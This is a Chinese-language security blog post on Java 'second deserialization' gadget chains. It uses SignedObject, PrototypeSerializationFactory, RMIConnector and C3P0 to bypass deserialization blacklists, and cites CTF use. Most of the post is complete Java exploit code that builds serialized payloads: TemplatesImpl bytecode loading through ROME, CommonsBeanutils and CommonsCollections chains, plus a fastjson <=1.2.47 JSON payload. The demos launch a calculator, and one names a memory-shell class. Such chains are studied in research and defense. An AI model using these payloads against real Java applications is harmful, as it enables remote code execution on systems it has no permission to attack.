java反序列化-二次反序列化

java反序列化-二次反序列化

二次反序列化,顾名思义就是反序列化二次,其主要意义是绕过黑名单的限制或不出网利用

其中主要的类是SignedObject

SignedObject

这个类其中实现了序列化和反序列化,在构造函数中实现了序列化内容写入content,又在下面的getObject中实现了反序列化content内容。如果我们调用getObject就可以实现再一次的反序列化

getObject就是一个getter。

触发getter就想到了ROME的toString和cb链子里面的BeanComparator,当然还有一些原生的jackson和fastjson触发getter。

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Calendar;
import java.util.HashMap;


public class Main {
    public static void main(String[] args) throws Exception {

        byte[] evilBytes = Files.readAllBytes(Paths.get("E:\\Download\\micro_service_seclab-main\\a\\target\\classes\\org\\example\\Calc.class"));

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",new byte[][]{evilBytes});
        setFieldValue(templates,"_name","harder");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        ToStringBean toStringBean = new ToStringBean(templates.getClass(),templates);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put(equalsBean, "123");

        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject(hashMap, kp.getPrivate(), Signature.getInstance("DSA"));
        signedObject.getObject();
    }
    public static void setFieldValue(Object obj, String fieldName, Object
            value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

}

下面就开干吧 把各种链子写一下

Rome

用我们的toStringFuntionGetter函数去触发传入的beanClass类型,和需要触发getter的obj从而实现二次反序列化加载类

成功弹出计算机

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;

import java.io.*;
import java.lang.reflect.Field;

import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Calendar;
import java.util.HashMap;


public class Main {
    public static void main(String[] args) throws Exception {

        byte[] evilBytes = Files.readAllBytes(Paths.get("E:\\Download\\micro_service_seclab-main\\a\\target\\classes\\org\\example\\Calc.class"));

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",new byte[][]{evilBytes});
        setFieldValue(templates,"_name","harder");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        ToStringBean toStringBean = new ToStringBean(templates.getClass(),templates);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put(equalsBean, "123");
        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject(hashMap, kp.getPrivate(), Signature.getInstance("DSA"));
        toStringFuntionGetter(signedObject.getClass(),signedObject);
    }

    public static void toStringFuntionGetter(Class beanClass, Object obj) throws IOException, ClassNotFoundException {
        ToStringBean  toStringBean = new ToStringBean(beanClass,obj);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put(equalsBean, "123");
        serialize(hashMap);
        unserialize("ser.bin");

    }
    public static void  serialize(Object obj) throws IOException, IOException, IOException {
        ObjectOutputStream oos =new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void setFieldValue(Object obj, String fieldName, Object
            value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

comons-beanutils

利用cb链子触发getter的函数ToGetter,第一个参数object是传入即将getter的对象,第二个参数getterString是要object要调用get某个变量的值。比如你调用getId,则你getterString就是Id

这样就可以触发二次反序列化了

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.PriorityQueue;


public class Main {
    public static void main(String[] args) throws Exception {
        byte[] evilBytes = Files.readAllBytes(Paths.get("E:\\Download\\micro_service_seclab-main\\a\\target\\classes\\org\\example\\Calc.class"));
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",new byte[][]{evilBytes});
        setFieldValue(templates,"_name","harder");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        setFieldValue(templates,"_class",null);
        BeanComparator beanComparator = new BeanComparator();
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
        queue.add(1);
        queue.add(1);  // 给queue数组添加值
        setFieldValue(beanComparator,"property","outputProperties");
        setFieldValue(queue,"queue",new Object[]{templates,null});


        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject(queue, kp.getPrivate(), Signature.getInstance("DSA"));
        ToGetter(signedObject,"object");

    }

    static void ToGetter(Object object, String getterString) throws Exception {
        final BeanComparator beanComparator = new BeanComparator();
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
        queue.add(1);
        queue.add(1);  // 给queue数组添加值
        setFieldValue(beanComparator,"property",getterString);
        setFieldValue(queue,"queue",new Object[]{object,null});

        serialize(queue);
        unserialize("ser.bin");
    }
    public static void  serialize(Object obj) throws IOException, IOException, IOException {
        ObjectOutputStream oos =new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    public static void setFieldValue(Object obj, String fieldName, Object
            value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

PrototypeFactory$PrototypeSerializationFactory

这里可以触发二次反序列化,其中的iPrototype参数是在类构造的时候赋值的

commons-collections

这个链子感觉实战没有任何意义,但是有时候ctf会用上比如被rce类给ban了的时候,我们可以通过这个触发二次反序列化来绕过

exp如下:

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import org.apache.commons.collections.Factory;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.DefaultedMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("E:\\Download\\JavaThings-master(1)\\JavaThings-master\\test001\\target\\classes\\Calc.class"));
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{code});
        setFieldValue(templates, "_name", "MakeMemShell");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        Hashtable table1 = getPayload(Templates.class, templates); // 恶意反序列化类
        //构造参数
        Class clazz = Class.forName("org.apache.commons.collections.functors.PrototypeFactory$PrototypeSerializationFactory");
        Constructor constructor = clazz.getDeclaredConstructor(Serializable.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(table1);
        FactoryTransformer factoryTransformer1 = new FactoryTransformer((Factory) o);
        // 这里是触发FactoryTransformer.transfrom()
        HashMap<Object, Object> map1 = new HashMap<>();
        Map defaultedmap1 = DefaultedMap.decorate(map1, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry1 = new TiedMapEntry(defaultedmap1, "foo");
        HashMap hashMap1 = new HashMap();
        hashMap1.put(tiedMapEntry1, "1");   //
        setFieldValue(defaultedmap1, "value", factoryTransformer1);
        defaultedmap1.remove("1");
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
        outputStream.writeObject(hashMap1);
        outputStream.flush();
        outputStream.close();
        byte[] serializedData = byteArrayOutputStream.toByteArray();
        String base64Encoded = Base64.getEncoder().encodeToString(serializedData);
        // 打印BASE64编码的字符串
        System.out.println("BASE64 Encoded Serialized Data: " + base64Encoded);
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }
    //CC7 触发equalBean
    public static Hashtable getPayload(Class clazz, Object payloadObj) throws Exception {
        EqualsBean bean = new EqualsBean(String.class, "r");
        HashMap map1 = new HashMap();
        HashMap map2 = new HashMap();
        map1.put("yy", bean);
        map1.put("zZ", payloadObj);
        map2.put("zZ", bean);
        map2.put("yy", payloadObj);
        Hashtable table = new Hashtable();
        table.put(map1, "1");
        table.put(map2, "2");
        setFieldValue(bean, "_beanClass", clazz);
        setFieldValue(bean, "_obj", payloadObj);
        return table;
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

我们可以看到在FactoryTransfrom#transform方法里面可以触发create函数,所以触发二次反序列化。而transfrom这个方法调用在cc链子中常见,就不多阐述了

RMIConnector

这里FindRMIServerJRMP函数可以触发二次反序列化

commons-collections

这个链子的实战意义也不大,也是可能打CTF会用到吧,拿来绕ban掉命令执行的类,和我介绍的上一个链子有异曲同工之妙

package org.example;

import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;



public class Main {
    public static void main(String[] args) throws Exception {

        JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
        setFieldValue(jmxServiceURL, "urlPath", "/stub/base64string");
        RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);

        InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);

        HashMap<Object, Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, rmiConnector);

        HashMap<Object, Object> expMap = new HashMap<>();
        expMap.put(tiedMapEntry, "Poria");
        lazyMap.remove(rmiConnector);

        setFieldValue(lazyMap,"factory", invokerTransformer);
        serialize(expMap);
        serialize("ser.bin");

    }

    public static void  serialize(Object obj) throws IOException, IOException, IOException {
        ObjectOutputStream oos =new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    public static void setFieldValue(Object obj, String fieldName, Object
            value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

WrapperConnectionPoolDataSource

这个链子感觉是配合fastjson和jackson比较多,因为要触发setter和getter

C3P0_Hex

fastjson<=1.2.47

exp:

{
    "rand1": {
        "@type": "java.lang.Class",
        "val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
    },
    "rand2": {
        "@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
        "userOverridesAsString": "HexAsciiSerializedMap:hexstring;",
    }
}

分析:

发现setUpPropertyListeners里面有parseUserOverridesAsString函数,这个里面会实现反序列化。从而再次反序列化

package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class Main {
    public static void main(String[] args) throws Exception {

        byte[] fastJsonPayload = getFastJsonPayload();
        String hexstring = bytesToHex(fastJsonPayload);
        String FJ1247  = "{\n" +
                "    \"rand1\": {\n" +
                "        \"@type\": \"java.lang.Class\",\n" +
                "        \"val\": \"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"\n" +
                "    },\n" +
                "    \"rand2\": {\n" +
                "        \"@type\": \"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\n" +
                "        \"userOverridesAsString\": \"HexAsciiSerializedMap:" + hexstring + ";\",\n" +
                "    }\n" +
                "}";
        JSON.parseObject(FJ1247);
    }


    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc.bin"));
        oos.writeObject(obj);
        oos.close();
    }

    public static void unserialize() throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc.bin"));
        ois.readObject();
        ois.close();
    }

    public static void setFieldValue(Object object, String field, Object value) throws Exception {
        Field declaredField = object.getClass().getDeclaredField(field);
        declaredField.setAccessible(true);
        declaredField.set(object, value);
    }

    public static String bytesToHex(byte[] bytes) {
        StringBuffer stringBuffer = new StringBuffer();
        for (int i = 0; i < bytes.length; i++) {
            String hex = Integer.toHexString(bytes[i] & 0xff);
            if (hex.length()<2){
                stringBuffer.append("0" + hex);
            }else {
                stringBuffer.append(hex);
            }
        }
        return stringBuffer.toString();
    }

    public static byte[] getFastJsonPayload() throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("E:\\Download\\micro_service_seclab-main\\a\\target\\classes\\org\\example\\Calc.class"));
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "zIxyd");
        setFieldValue(templates, "_bytecodes", new byte[][]{code});
        setFieldValue(templates, "_tfactory", null);

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);

        BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
        setFieldValue(bd,"val",jsonArray);

        HashMap hashMap = new HashMap();
        hashMap.put(templates,bd);

        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bao);
        oos.writeObject(hashMap);
        return bao.toByteArray();
    }
}

参考:

https://tttang.com/archive/1701/

https://zixyd.github.io/2024/03/21/Java%E4%BA%8C%E6%AC%A1%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#WrapperConnectionPoolDataSource